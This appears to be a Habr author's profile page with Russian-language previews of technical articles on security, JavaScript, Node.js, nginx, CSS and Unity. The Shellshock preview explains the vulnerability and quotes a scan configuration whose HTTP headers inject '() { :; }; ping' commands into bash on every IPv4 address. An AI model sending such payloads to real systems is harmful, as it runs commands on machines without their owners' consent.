Pull to refresh
0
0
Alexzander thunder Shevchenko @thunderspb

DevOps

Send message

Всё, что вы хотели знать об уязвимости Shellshock (но боялись спросить)

Reading time9 min
Views134K
Помните Heartbleed? Shellshock можно отнести к той же «весовой категории», с таким же стильным названием, хоть и без классного логотипа (кому-то из департамента маркетинга этой уязвимости надо бы этим заняться). Но у Shellshock есть потенциал стать не менее важной птицей, чем Heartbleed. И сейчас я хотел бы собрать воедино всю необходимую информацию, которая поможет всем желающим справиться с ситуацией и избежать возможных проблем из-за неочевидной, на первый взгляд, угрозы.

Для начала позвольте поделиться с вами некоторой информацией из блога Роберта Грэма, который провёл превосходный анализ уязвимости. Рассмотрим представленный ниже HTTP-запрос:

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

Если его применить к диапазону уязвимых IP, то получим такой результат:



Проще говоря, Роберт заставил кучу удалённых машин пинговать его, просто отправив в сеть специально сформированный запрос. Беспокойство вызывает тот факт, что он заставил эти машины выполнить произвольную команду (в данном случае безобидный ping), что открывает широчайшие возможности.
Читать дальше →

Вышла операционная система Qubes 2 на основе гипервизора Xen

Reading time1 min
Views66K
Несколько дней назад вышла операционная система Qubes 2, нацеленная на максимальную безопасность в использовании. В основе Qubes лежит идея запуска отдельных виртуальных машин для обеспечения изоляции пользовательских приложений. В качестве системы виртуализации используется Xen.


Читать дальше →

[Перевод] Проблема конструкторов JavaScript и три способа её решения

Reading time5 min
Views14K

Введение


Как известно, создать новый объект в JavaScript можно используя функцию-конструктор следующего вида:

function Fubar (foo, bar) {
  this._foo = foo;
  this._bar = bar;
}

var snafu = new Fubar("Situation Normal", "All Fsked Up");


Когда мы вызываем функцию-конструктор при помощи ключевого слова new , то получаем новый объект, а контекст его конструктора устанавливается на сам объект. Если мы явно не возвращаем ничего из конструктора, то получаем сам объект в качестве результата. Таким образом, тело функции конструктора используется для инициализации вновь созданного объекта, прототипом которого будет содержимое свойства prototype конструктора, так что можно писать следующим образом:

Fubar.prototype.concatenated = function () {
  return this._foo + " " + this._bar;
}

snafu.concatenated()
  //=> 'Situation Normal All Fsked Up'


Используя оператор instanceof можно убедиться в том, что объект был создан при помощи определенного конструктора:

snafu instanceof Fubar
  //=> true


(Заставить работать instanceof «неправильно» возможно при в случаях с более продвинутыми идиомами, или же если вы — вредный тролль, собирающий исключения языка программирования и получающий наслаждение, истязая ими соискателей на собеседованиях. Однако, для наших целей instanceof работает достаточно хорошо.)
Читать дальше →

Реанимация серверов Ubuntu на Hetzner или немного полезных команд

Reading time3 min
Views39K


Этот небольшой пост-шпаргалка предназначен для тех у кого внезапно в ходе неудачного эксперимента или обновления перестал пинговаться сервер, отвалился ssh и прочее. Проще говоря он о восстановлении сервера после обновлений, взломов и тому подобного. По моим ощущениям последнее бывает гораздо реже.
Так что кому интересна эта тема прошу под кат.

Impress: многоцелевой сервер приложений для Node.js

Reading time7 min
Views17K
Несмотря на заметные успехи, Node.js все еще остается специализированной технологией, которой преимущественно закрывают узкие места в системах, написанных в другом стеке технологий. Причина такого положения кроется в том, что сама по себе нода не имеет многих библиотек, к которым мы привыкли на других языках и которые обеспечивают быструю разработку именно прикладного ПО. Например, для того, чтобы разделить в коде обработчики разных URL, отдавать статические файлы, организовывать сессии, запускать нескольких потоков, иметь доступа к БД, кешировать данные в памяти, разграничивать права пользователей, иметь логи и ротировать их, создавать сетевое API, рендерить шаблоны, настраивать URL-реврайтинг, обеспечивать быструю доставку событий с сервера на клиенты, для всего этого, и многих других задач, используются отдельные библиотеки (модули). Разные модули написаны разными разработчиками, сложно стыкуются, конфликтуют. В общем, мы решили, весь этот набор обязательного функционала, необходимого практически в каждом веб-приложении, объединить в один сервер приложений и повысить, таким образом, связанность кода, сделать ядро сервера приложений монолитным и более согласованным, чем решения, собранные из отдельных библиотек. Проект Impress уже анонсировался как прототип, а сейчас предоставляет весь необходимый арсенал для быстрой разработки приложений, что протестировано на десятке живых проектов. Impress значительно отличается от другой широко распространенной платформы так же, как импрессионизм отличается от экспрессионизма, то есть, производит целостное, хорошо продуманное эстетическое впечатление, в противоположность внезапному выбросу эмоций. Но мы, не вовлекаясь в критику чужого кода, перейдем к демонстрации конструктивных особенностей Impress.
Читать дальше →

Полуавтоматическое инкрементирование версии проекта при работе с GIT в Visual Studio

Reading time5 min
Views21K
В Интернетах написано немало статей об инкрементировании версий своих приложений и каждый использует свой метод. У кого-то ревизии используются в качестве «билдов», у кого-то это количество секунд текущих суток (например, Microsoft), у кого-то что-то другое.

В моем проекте используются 4 определяющие версии.

Например, 1.2.34.56, где:
1 — Major version: Критические изменения проекта (введен новый функционал, в корне переработан существующий и пр.). Устанавливается вручную;
2 — Minor version: Изменение функциональных частей приложения, значительное улучшение кода и пр. Устанавливается вручную;
24 — Build: номер релиза, попадающего в общество. Назначается автоматически;
56 — Revision: номер ревизии, полученный с GIT. Назначается автоматически.

Я не буду рассматривать кто какими методами пользуется, поэтому напишу как достиг данного результата.

Читать дальше →

Input — новый шрифт для программирования

Reading time1 min
Views100K
Компания Font Bureau разработала новое семейство шрифтов Input, важнейшим из которых в данном случае для нас является шрифт Input Mono. Кириллица присутствует. Для персонального использования шрифты бесплатны.

Читать дальше →

Сюрреализм на JavaScript. Советы по разработке на NodeJS

Reading time9 min
Views41K
Привет, Хабра!

Пол года назад я подумал: «А может книгу написать?», и таки написал.



Все документы оформлены, страницы сверстаны, а тираж — отпечатан. Я не буду клянчить у вас деньги на кикстартере или предлагать что-либо купить, а вместо этого попытаюсь заинтриговать советами по разработке на NodeJS в целях пиара и привлечения внимания к книге.
Читать дальше →

LUA в nginx: слегка интеллектуальный firewall

Reading time6 min
Views31K

Данный пост является продолжением применения lua в nginx.

Там обсуждалось кеширование в памяти, а тут lua будет использоваться для фильтрации входящих запросов в качестве этакого фаервола на nginx-балансере. Нечто подобное было у 2GIS. У нас свой велосипед :) В котором разделяем динамику и статику, стараемся учесть NAT и белый список. И, конечно же, всегда можно навернуть еще специфичной логики, что не выйдет при использовании готовых модулей.
Данная схема сейчас спокойно и ненапряжно (практически не сказывается на использовании cpu) обрабатывает порядка 1200 запросов/сек. На предельные величины не тестировалось. Пожалуй, к счастью :)
Читать дальше →

Подсчет статистики загрузок в Google Analytics

Reading time3 min
Views9.8K

Продолжая тему использования связки Nginx + Lua решил поделиться небольшой инструкцией подсчета загрузки статических данных и учетом всего этого в Google Analytics.
Читать дальше →

HTML-формы. Взгляд бэкенд-разработчика

Reading time12 min
Views49K
При подготовке материала по Symfony Form я решил уделить некоторое внимание теоретической части по работе с формами со стороны клиента – что они из себя представляют, как ведут себя браузеры при отправке, в каком формате путешествуют, в каком виде поступают на сервер.

Вводная часть несколько растянулась и в итоге вылилась в отдельную небольшую статью, которая, по моему мнению, может быть интересна и другим бэкенд-разработчикам (не только PHP или Symfony).
Читать дальше →

Подборка занимательных CSS рецептов «Голые пятницы #2»

Reading time3 min
Views50K
Привет, Хабр! В этот раз мы поговорим о стилизации инпутов без картинок и JS, особенностях вертикальных отступов, CSS счетчиках, необъятных возможностях в именовании классов, а также расскажем, как улучшить анимацию на слабых устройствах.

голые пятницы
Поехали!

Учимся готовить Log4j + Logstash + ElasticSearch + Kibana 3 + Auth (Google OAuth2/BasicAuth/CAS Authentication)

Reading time9 min
Views67K

Задача


Настройка удобного средства для обработки и получения логов.

Условия


  1. Лицензия MIT или Apache 2.0
  2. Возможность приема и обработки многострочных сообщений
  3. Простота в настройке и использовании
  4. Возможность работы с логами из Log4j


Решение


Logstash + ElasticSearch + Kibana 3.
Читать дальше →

Почти-web-сервер своими руками

Reading time7 min
Views9.6K
В последнее время появилось несколько постов по привлечению внимания к определённым языкам программирования на примере написания некоего несложного «web-сервера». Раз уж пошла такая пьянка perl пока не затронули, то добавлю и свои пять копеек :)
Будем писать несложное серверное приложение, маскирующееся под http-сервер.
Читать дальше →

Просмотр Торрент-ТВ в интерфейсе LiveTV XBMC, под Linux

Reading time4 min
Views214K
Видео результата:


Преамбула


Всё время хотелось удобно смотреть ТВ (да, я смотрю ТВ) сразу в xbmc, в красивом интерфейсе с расписанием и пр. плюшками. IPTV мой провайдер не предоставляет, «тарелку» ставить как-то стрёмно, только ремонт сделали, тут опять кабель непонятно как в квартиру заводить. Качество видеопотока с внешнего usb тв тюнера для старого нетбука, выступающего в роли медиацентра, оставляет желать лучшего, да и ловит полтора канала. В общем, со всех сторон облом, долго думал я, пока не узнал о торрент-тв.

Собственно, в статье о том, как его смотреть в нативном интерфейсе xbmc для ТВ.
Читать дальше →

Редактор CSS Shapes для Chrome

Reading time1 min
Views32K


Спецификации CSS Shapes позволяют красиво оформить обтекание текстом на веб-странице. Средствами CSS можно создать произвольную форму, но это обычно весьма трудоёмкая задача. Новое расширение CSS Shapes Editor для Chrome кардинально облегчает процесс. Это интерактивный редактор CSS Shapes, где контуры указываются простым перетягиванием точек с помощью мыши.
Читать дальше →

Создание игры на ваших глазах — часть 7: 2D-анимации в Unity («как во флэше»)

Reading time6 min
Views98K
В этой статье поговорим о 2D анимациях в Unity. Я расскажу о своем опыте работы с родными анимациями в юнити, о том, насколько тайм-лайны похожи на флэшевские, об управлении анимациями, event'ах, вложенности, и о том, как художник справляется с анимированием.

Для начала, немного теории.

В Unity есть две сущности:

1. Анимация (то, что отображается в окно «Animation»)
2. Mechanim дерево анимаций (то, что отображается в окне «Animator»).



Ниже я немного расскажу, что это такое и как нам может приходиться (или не пригодиться).
Читать дальше →

Pixi-editor — простая рисовалка на pixi.js

Reading time1 min
Views15K
Занимаясь одним большим проектом, добавил небольшую функциональность — выделение «маркером». Затем выделил эту часть в Pixi-editor. И теперь Pixi-editor — это рисовалка на основе pixi.js, и как следствие использует для рисования в браузере. Довел до примерного функционала рисовалки граффити Вконтакте.

Кому любопытно: демо, гитхаб.
Далее скриншот и пара комментариев.
Читать дальше →

Интерактивная консоль с автодополнением на PHP

Reading time4 min
Views7.7K
В этой маленькой статье я покажу, как использовать в своём PHP-скрипте консоль с автодополнением по нажатию Tab. Из подобных статей на хабре нашёл только статью от CKOPOBAPKuH, и у неё несколько другое направление, хотя суть — та же.

На самом деле, никакой магии тут нет, из сложностей — сформулировать для себя, как должна работать ваша консоль. Поэтому минимум слов, минимум кода, только самое необходимое.

Есть вопрос: можно ли (и если можно, то как) сделать свою консоль с командами и подсказками на PHP.
Есть ответ: можно, но соответствующее расширение (readline) для PHP доступно только на Linux, увы.

Читать далее

BaasCMS – бэкенд не нужен

Reading time4 min
Views9K


BaasCMS — это JavaScript CMS, использующая в качестве бэкенда популярных провайдеров BaaS. На данный момент поддерживается только Parse.com.

Исходный код BaasCMS доступен на GitHub.

BaasCMS Demo на GitHub Pages
Тоже самое BaasCMS Demo на Tumblr

Можно посмотреть Админ-панель для этого демо (изменения/добавление запрещены). В соответвующую форму на главной странице админки нужно вставить следующие ключи:

  • Application ID: nM7P7NnFA95CK1WrqWOf9wa3mskctaTOdk9vYflj
  • Javascript Key: 0zHfA9FG8L1xR699qmFXjxkZ1pDxgml0MWZMpqJG

Читать дальше →

Information

Rating
Does not participate
Location
Санкт-Петербург, Санкт-Петербург и область, Россия
Date of birth
Registered
Activity